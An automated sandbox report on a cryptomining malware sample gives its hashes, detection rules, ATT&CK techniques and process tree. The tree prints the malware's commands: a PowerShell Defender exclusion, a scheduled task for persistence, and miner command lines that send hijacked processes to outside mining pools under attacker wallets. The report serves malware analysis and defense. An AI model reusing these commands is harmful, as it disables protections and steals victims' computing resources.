5fe74ecfd6a9eeef45bed3760e4511c300dc843d17120361e5abd021cc107567

Analysis

max time kernel
53s
max time network
149s
platform
windows7_x64
resource
win7-20221111-en
resource tags

arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
submitted
03/01/2023, 17:49

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General

Target

tmp.exe
Size

1.5MB
MD5

4c8d2d06487d07ec350aa5c5d699bb55
SHA1

adc4aa68f5aa4b0ea3f9a2ee82100234caea5b2d
SHA256

5fe74ecfd6a9eeef45bed3760e4511c300dc843d17120361e5abd021cc107567
SHA512

37f5dcf4a4e5f02c5dfb0d4c5cb18d4980efe387572fc3a50fa0d53a23c4403d8c17dbf2df9fa5bb647c0eb1f0a24d4c86e19aa2fb73b447c6cd62c6652b6bab
SSDEEP

24576:BjhhhkB/Aw/ApZAZv8743EDweFLBNlYesa49t03jN0AK+HoD5PD:Rhhh6FQcv883EDhp5x4S0AKp9

Score

9^/10

miner upx

Malware Config

Signatures

Detectes Phoenix Miner Payload 4 IoCs

miner

resource	yara_rule
behavioral1/memory/1956-98-0x0000000140829C40-mapping.dmp	miner_phoenix
behavioral1/memory/1956-101-0x0000000140000000-0x000000014082B000-memory.dmp	miner_phoenix
behavioral1/memory/1956-102-0x0000000140000000-0x000000014082B000-memory.dmp	miner_phoenix
behavioral1/memory/1956-103-0x0000000140000000-0x000000014082B000-memory.dmp	miner_phoenix

Executes dropped EXE 1 IoCs

pid	Process
700	ghoul.exe

UPX packed file 8 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1956-94-0x0000000140000000-0x000000014082B000-memory.dmp	upx
behavioral1/memory/1956-96-0x0000000140000000-0x000000014082B000-memory.dmp	upx
behavioral1/memory/1956-99-0x0000000140000000-0x000000014082B000-memory.dmp	upx
behavioral1/memory/1956-100-0x0000000140000000-0x000000014082B000-memory.dmp	upx
behavioral1/memory/1956-97-0x0000000140000000-0x000000014082B000-memory.dmp	upx
behavioral1/memory/1956-101-0x0000000140000000-0x000000014082B000-memory.dmp	upx
behavioral1/memory/1956-102-0x0000000140000000-0x000000014082B000-memory.dmp	upx
behavioral1/memory/1956-103-0x0000000140000000-0x000000014082B000-memory.dmp	upx

Loads dropped DLL 1 IoCs

pid	Process
956	tmp.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1956	RegSvcs.exe
1956	RegSvcs.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 700 set thread context of 816	700	ghoul.exe	35
PID 700 set thread context of 1956	700	ghoul.exe	38

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1728	schtasks.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
524	powershell.exe
700	ghoul.exe
700	ghoul.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	700	ghoul.exe
Token: SeDebugPrivilege	524	powershell.exe

Suspicious use of WriteProcessMemory 38 IoCs

description	pid	Process	procid_target
PID 956 wrote to memory of 700	956	tmp.exe	28
PID 956 wrote to memory of 700	956	tmp.exe	28
PID 956 wrote to memory of 700	956	tmp.exe	28
PID 956 wrote to memory of 700	956	tmp.exe	28
PID 700 wrote to memory of 524	700	ghoul.exe	29
PID 700 wrote to memory of 524	700	ghoul.exe	29
PID 700 wrote to memory of 524	700	ghoul.exe	29
PID 700 wrote to memory of 1896	700	ghoul.exe	31
PID 700 wrote to memory of 1896	700	ghoul.exe	31
PID 700 wrote to memory of 1896	700	ghoul.exe	31
PID 1896 wrote to memory of 1728	1896	cmd.exe	33
PID 1896 wrote to memory of 1728	1896	cmd.exe	33
PID 1896 wrote to memory of 1728	1896	cmd.exe	33
PID 700 wrote to memory of 816	700	ghoul.exe	35
PID 700 wrote to memory of 816	700	ghoul.exe	35
PID 700 wrote to memory of 816	700	ghoul.exe	35
PID 700 wrote to memory of 816	700	ghoul.exe	35
PID 700 wrote to memory of 816	700	ghoul.exe	35
PID 700 wrote to memory of 816	700	ghoul.exe	35
PID 700 wrote to memory of 816	700	ghoul.exe	35
PID 700 wrote to memory of 816	700	ghoul.exe	35
PID 700 wrote to memory of 816	700	ghoul.exe	35
PID 700 wrote to memory of 816	700	ghoul.exe	35
PID 700 wrote to memory of 816	700	ghoul.exe	35
PID 700 wrote to memory of 816	700	ghoul.exe	35
PID 700 wrote to memory of 816	700	ghoul.exe	35
PID 700 wrote to memory of 816	700	ghoul.exe	35
PID 700 wrote to memory of 816	700	ghoul.exe	35
PID 816 wrote to memory of 1136	816	vbc.exe	36
PID 816 wrote to memory of 1136	816	vbc.exe	36
PID 816 wrote to memory of 1136	816	vbc.exe	36
PID 700 wrote to memory of 1956	700	ghoul.exe	38
PID 700 wrote to memory of 1956	700	ghoul.exe	38
PID 700 wrote to memory of 1956	700	ghoul.exe	38
PID 700 wrote to memory of 1956	700	ghoul.exe	38
PID 700 wrote to memory of 1956	700	ghoul.exe	38
PID 700 wrote to memory of 1956	700	ghoul.exe	38
PID 700 wrote to memory of 1956	700	ghoul.exe	38

C:\Users\Admin\AppData\Local\Temp\tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmp.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:956
- C:\Users\Admin\AppData\Local\Temp\ghoul.exe
  "C:\Users\Admin\AppData\Local\Temp\ghoul.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:700
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:524
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PFCIA" /tr "C:\ProgramData\Adobe\PFCIA.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1896
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PFCIA" /tr "C:\ProgramData\Adobe\PFCIA.exe"
      4⤵
      Creates scheduled task(s)
      PID:1728
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RN9B8LkT5BcYXbc4ZVMYitfgKaA1wwbXwy.work -p x -t 3
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:816
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      4⤵
      PID:1136
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe -pool ssl://eu1-etc.ethermine.org:5555 -wal 0x20caf9B2c7aB54C3cB949F1489DD697327131861.Rig001 -coin etc -log 0
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:1956

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\ghoul.exe

Filesize
899KB

MD5
813862d29c21094ebd1f95feb80771ff

SHA1
5e61691a9d791e798e19d99a27c9f9959d319e9b

SHA256
5f1c900332c6ce00349719a6eccd13894fc312f2b6460d7f419ca49172c8623a

SHA512
97fc207a77d4d11103817998177d656e520b889d7b79c9dd1ab4fd66cf1004a9060f2d6e4acf239a7b8016ffd60949a36e4e78ae26f990768a2952275e5b4580

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C:\Users\Admin\AppData\Local\Temp\ghoul.exe

Filesize
899KB

MD5
813862d29c21094ebd1f95feb80771ff

SHA1
5e61691a9d791e798e19d99a27c9f9959d319e9b

SHA256
5f1c900332c6ce00349719a6eccd13894fc312f2b6460d7f419ca49172c8623a

SHA512
97fc207a77d4d11103817998177d656e520b889d7b79c9dd1ab4fd66cf1004a9060f2d6e4acf239a7b8016ffd60949a36e4e78ae26f990768a2952275e5b4580

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\Users\Admin\AppData\Local\Temp\ghoul.exe

Filesize
899KB

MD5
813862d29c21094ebd1f95feb80771ff

SHA1
5e61691a9d791e798e19d99a27c9f9959d319e9b

SHA256
5f1c900332c6ce00349719a6eccd13894fc312f2b6460d7f419ca49172c8623a

SHA512
97fc207a77d4d11103817998177d656e520b889d7b79c9dd1ab4fd66cf1004a9060f2d6e4acf239a7b8016ffd60949a36e4e78ae26f990768a2952275e5b4580

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memory/524-65-0x000007FEEC050000-0x000007FEECBAD000-memory.dmp

Filesize
11.4MB

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memory/524-68-0x00000000027BB000-0x00000000027DA000-memory.dmp

Filesize
124KB

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memory/524-62-0x000007FEFB771000-0x000007FEFB773000-memory.dmp

Filesize
8KB

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memory/524-67-0x00000000027B4000-0x00000000027B7000-memory.dmp

Filesize
12KB

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memory/524-63-0x000007FEECBB0000-0x000007FEED5D3000-memory.dmp

Filesize
10.1MB

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memory/524-66-0x00000000027B4000-0x00000000027B7000-memory.dmp

Filesize
12KB

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memory/700-60-0x0000000001170000-0x0000000001256000-memory.dmp

Filesize
920KB

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memory/816-78-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

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memory/816-86-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

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memory/816-104-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

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memory/816-92-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

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memory/816-90-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

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memory/816-73-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

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memory/816-72-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

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memory/816-75-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

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memory/816-77-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

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memory/816-80-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

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memory/816-81-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

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memory/816-82-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

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memory/816-83-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

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memory/816-84-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

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memory/816-87-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

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memory/956-64-0x0000000004A86000-0x0000000004A97000-memory.dmp

Filesize
68KB

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memory/956-54-0x00000000003F0000-0x000000000057C000-memory.dmp

Filesize
1.5MB

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memory/956-55-0x0000000075891000-0x0000000075893000-memory.dmp

Filesize
8KB

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memory/1956-99-0x0000000140000000-0x000000014082B000-memory.dmp

Filesize
8.2MB

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memory/1956-96-0x0000000140000000-0x000000014082B000-memory.dmp

Filesize
8.2MB

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memory/1956-94-0x0000000140000000-0x000000014082B000-memory.dmp

Filesize
8.2MB

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memory/1956-100-0x0000000140000000-0x000000014082B000-memory.dmp

Filesize
8.2MB

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memory/1956-97-0x0000000140000000-0x000000014082B000-memory.dmp

Filesize
8.2MB

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memory/1956-101-0x0000000140000000-0x000000014082B000-memory.dmp

Filesize
8.2MB

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memory/1956-102-0x0000000140000000-0x000000014082B000-memory.dmp

Filesize
8.2MB

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memory/1956-103-0x0000000140000000-0x000000014082B000-memory.dmp

Filesize
8.2MB

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memory/1956-93-0x0000000140000000-0x000000014082B000-memory.dmp

Filesize
8.2MB

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